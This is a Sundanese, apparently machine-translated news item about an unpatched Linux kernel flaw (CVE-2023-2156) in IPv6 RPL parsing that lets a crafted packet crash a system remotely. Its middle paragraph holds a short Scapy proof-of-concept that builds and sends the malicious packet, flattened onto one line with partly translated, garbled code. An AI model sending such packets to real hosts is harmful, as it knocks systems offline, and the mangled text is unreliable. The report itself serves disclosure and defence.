0-dinten Linux IPv6 kerentanan tumpukan anu ngamungkinkeun kacilakaan kernel jauh

Inpormasi parantos diungkabkeun ngeunaan kerentanan (0-dinten) anu teu dilereskeun (CVE-2023-2156) dina kernel Linux, anu ngamungkinkeun ngeureunkeun sistem ku ngirim pakét IPv6 anu dirancang khusus (packet-of-death). Masalahna ngan muncul nalika dukungan pikeun protokol RPL (Routing Protocol for Low-Power and Lossy Networks) diaktipkeun, anu ditumpurkeun sacara standar dina distribusi sareng dianggo utamina dina alat anu dipasang dina jaringan nirkabel kalayan pakét leungitna anu luhur.

Kerentanan disababkeun ku ngolah data éksternal anu salah dina kode parsing protokol RPL, anu nyababkeun kagagalan negeskeun sareng kernel nuju kaayaan panik. Nalika nempatkeun data anu dicandak tina parsing header pakét IPv6 RPL dina struktur k_buff (Socket Buffer), upami médan CmprI disetel ka 15, médan Segleft ka 1, sareng CmprE ka 0, vektor 48-bait sareng alamatna didekompresi. ka 528 bait sarta mucunghul kaayaan dimana mémori disadiakeun pikeun panyangga teu cukup. Dina hal ieu, fungsi skb_push, dipaké pikeun nyorong data kana struktur, cek incommensurability antara ukuran data jeung panyangga, ngahasilkeun kaayaan panik pikeun nyegah nulis saluareun wates panyangga.

Conto exploit: # Kami bakal nganggo Scapy pikeun ngadamel pakét tina scapy.all import * stop kontak impor # Anggo IPv6 tina antarmuka LAN anjeun DST_ADDR = sys.argv [1] SRC_ADDR = DST_ADDR # Kami nganggo sockets pikeun ngirim pakét sockfd = socket.socket (socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Karajinan pakét # Type = 3 ngajadikeun ieu pakét RPL # Alamat ngandung 3 alamat, tapi kusabab CmprI nyaeta 15, # unggal oktet tina dua alamat kahiji nyaeta diperlakukeun salaku alamat dikomprés # Segleft = 1 pikeun memicu amplifikasi # lastentry = 0xf0 susunan CmprI ka 15 sarta CmprE ka 0 p = IPv6 (src = SRC_ADDR, dst = DST_ADDR) / IPv6ExtHdrSegmentRouting (tipe = 3, alamat = ["a8: :", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Kirim pakét jahat ieu sockfd.sendto(bait(p), (DST_ADDR, 0))

Perlu dicatet yén pamekar kernel dibéjakeun ngeunaan kerentanan deui dina Januari 2022 sareng salami 15 bulan kapengker aranjeunna parantos nyobian ngalereskeun masalah tilu kali, ngaleupaskeun patch dina Séptémber 2022, Oktober 2022 sareng April 2023, tapi unggal waktos perbaikan éta. teu cukup jeung kerentanan teu bisa dihasilkeun. Pamustunganana, proyék ZDI, anu ngakoordinasikeun padamelan pikeun ngalereskeun kerentanan, mutuskeun pikeun ngaleupaskeun inpormasi lengkep ngeunaan kerentanan tanpa ngantosan perbaikan anu tiasa dianggo dina kernel.

Ku kituna, kerentanan masih tetep unfixed. Khususna, patch anu kalebet dina kernel 6.4-rc2 henteu efektif. Pamaké disarankan pikeun pariksa yén protokol RPL henteu dianggo dina sistemna, anu tiasa dilakukeun nganggo paréntah sysctl -a | grep -i rpl_seg_enabled

sumber: opennet.ru

Tambahkeun komentar